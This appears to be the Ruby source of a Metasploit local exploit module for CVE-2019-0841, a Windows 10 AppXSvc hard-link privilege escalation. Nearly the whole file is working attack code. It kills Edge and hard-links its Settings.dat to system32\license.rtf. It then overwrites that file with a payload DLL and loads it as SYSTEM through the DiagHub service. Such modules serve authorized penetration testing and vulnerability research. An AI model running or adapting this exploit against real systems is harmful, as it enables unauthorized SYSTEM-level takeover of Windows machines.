1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = NormalRanking
8

9
  include Exploit::EXE
10
  include Post::File
11
  include Post::Windows::Priv
12
  include Post::Windows::FileInfo
13
  include Exploit::FileDropper
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        'Name' => 'AppXSvc Hard Link Privilege Escalation',
20
        'Description' => %q{
21
          There exists a privilege escalation vulnerability for
22
          Windows 10 builds prior to build 17763. Due to the AppXSvc's
23
          improper handling of hard links, a user can gain full
24
          privileges over a SYSTEM-owned file. The user can then utilize
25
          the new file to execute code as SYSTEM.
26

27
          This module employs a technique using the Diagnostics Hub Standard
28
          Collector Service (DiagHub) which was discovered by James Forshaw to
29
          load and execute a DLL as SYSTEM.
30
        },
31
        'License' => MSF_LICENSE,
32
        'Author' => [
33
          'Nabeel Ahmed', # Vulnerability discovery and PoC
34
          'James Forshaw',     # Code creating hard links and communicating with DiagHub service
35
          'Shelby Pace'        # Metasploit module
36
        ],
37
        'References' => [
38
          [ 'CVE', '2019-0841' ],
39
          [ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
40
          [ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
41
          [ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
42
          [ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
43
        ],
44
        'Platform' => 'win',
45
        'SessionTypes' => [ 'meterpreter' ],
46
        'Targets' => [
47
          [ 'Windows 10', { 'Platform' => 'win' } ]
48
        ],
49
        'DisclosureDate' => '2019-04-09',
50
        'DefaultTarget' => 0,
51
        'Notes' => {
52
          'Reliability' => UNKNOWN_RELIABILITY,
53
          'Stability' => UNKNOWN_STABILITY,
54
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
        }
56
      )
57
    )
58
  end
59

60
  def check
61
    version = get_version_info
62
    if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803)
63
      return CheckCode::Appears
64
    elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
65
      return CheckCode::Detected
66
    end
67

68
    return CheckCode::Unknown
69
  end
70

71
  def upload_file(file_name, file_path)
72
    contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
73
    write_file(file_path, contents)
74
    register_file_for_cleanup(file_path)
75
  rescue StandardError
76
    fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
77
  end
78

79
  def init_process
80
    print_status('Attempting to launch Microsoft Edge minimized.')
81
    cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30)
82
  end
83

84
  def mk_hard_link(src, target, link_exe)
85
    out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")
86

87
    return (out && out.include?('Done'))
88
  end
89

90
  def write_payload
91
    print_status('Writing the payload to disk')
92
    code = generate_payload_dll
93
    @original_data = read_file(@rtf_path)
94
    write_file(@rtf_path, code)
95
  end
96

97
  def exploit
98
    vuln_status = check
99
    fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown
100

101
    fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
102
    cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"')
103
    dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat')
104
    fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)
105

106
    if session.arch == ARCH_X86
107
      exe_name = 'CVE-2019-0841_x86.exe'
108
      f_name = 'diaghub_load_x86.exe'
109
    elsif session.arch == ARCH_X64
110
      exe_name = 'CVE-2019-0841_x64.exe'
111
      f_name = 'diaghub_load_x64.exe'
112
    end
113
    link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")
114
    upload_file(exe_name, link_file_name)
115

116
    @rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')
117
    fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
118
    print_good('Successfully created hard link')
119
    init_process
120
    cmd_exec('taskkill /F /IM MicrosoftEdge.exe')
121

122
    write_payload
123
    diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
124
    upload_file(f_name, diaghub_path)
125
    cmd = "\"#{diaghub_path}\" \"license.rtf\""
126
    cmd_exec(cmd)
127
  end
128

129
  def cleanup
130
    folder_path = expand_path('%TEMP%\\etw')
131
    dir_rm(folder_path)
132

133
    unless @rtf_path.nil?
134
      write_file(@rtf_path, @original_data)
135
    end
136
    super
137
  end
138
end
139

140